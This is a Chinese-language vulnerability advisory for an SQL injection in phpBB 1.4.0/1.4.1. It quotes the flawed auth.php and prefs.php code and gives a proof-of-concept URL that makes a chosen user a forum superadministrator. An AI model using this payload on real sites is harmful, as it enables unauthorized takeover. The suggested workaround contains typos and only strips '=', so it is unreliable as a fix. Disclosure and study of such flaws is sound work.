phpBB 远程SQL查询处理漏洞
发布日期:2001-08-03
更新日期:2001-08-06
受影响系统:
phpBB.com phpBB 1.4.1
phpBB.com phpBB 1.4.0
描述:
BUGTRAQ ID : 3142
phpBB是一个免费开放源代码且很容易使用的Web论坛软件。
由于phpBB没有正确处理用户的输入,导致恶意用户可能通过构造一个特殊的请求使自
己升级为论坛的超级管理员。
有问题的代码(auth.php)如下:
if(get_magic_quotes_gpc() == 1)
{
switch($REQUEST_METHOD){
case "POST":
while (list ($key, $val) = each ($HTTP_POST_VARS)){
if( is_array($val) ){
array_walk($val, 'stripslashes_array', '');
$$key = $val;
}
else{
$$key = stripslashes($val);
}
}
break;
上面的代码没有检查是否用户提供的变量中包含引号。因此,在prefs.php中存在的一个漏洞就可能
使用户执行任意的SQL请求。攻击者只需要在$viewmail变量中输入特定的SQL语句即可。
有问题的代码(prefs.php)如下:
$sql = "UPDATE users SET
user_viewemail='$viewemail',
user_theme='$themes', user_attachsig = '$sig',
user_desmile = '$smile', user_html = '$dishtml',
user_bbcode
= '$disbbcode', user_lang = '$lang' WHERE
(user_id = '$userdata[user_id]')";
</ End example code >
<*来源:(
kill-9@modernhackers.com) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
(
kill-9@modernhackers.com)提供了如下测试代码:
http://sitename/phpBBfolder/prefs.php?save=1&viewemail=1',user_level%3D'4'%2
0where%20username%3D'l337h4x0r'%23
上面的代码将给'l337h4x0r'用户的用户等级设为4.
建议:
临时解决方法:
在prefs.php的51行后增加以下代码:
fviewemail = str_replace('=','',$viewemail);
$fthemes = str_replace('=','',$themes);
$fsig = str_replace('=','',$tsig);
$fsmile = str_replace('=','',$smile);
$fdishtml = str_replace('=','',$dishtml);
$fdisbbcode = str_replace('=','',$disbbcode);
$flang = str_replace('=','',$lang);
$sql = "UPDATE users SET user_viewemail='$fviewemail',user_theme='$fthemes',
user_attachsig = '$fsig', user_desmile = '$fsmile',user_html =
'$fdishtml',user_bbcode = '$fdisbbcode', user_lang = '$flang' WHERE (user_id
='$userdata[user_id]')";
厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.phpbb.com/
浏览次数:3906
严重程度:0(网友投票)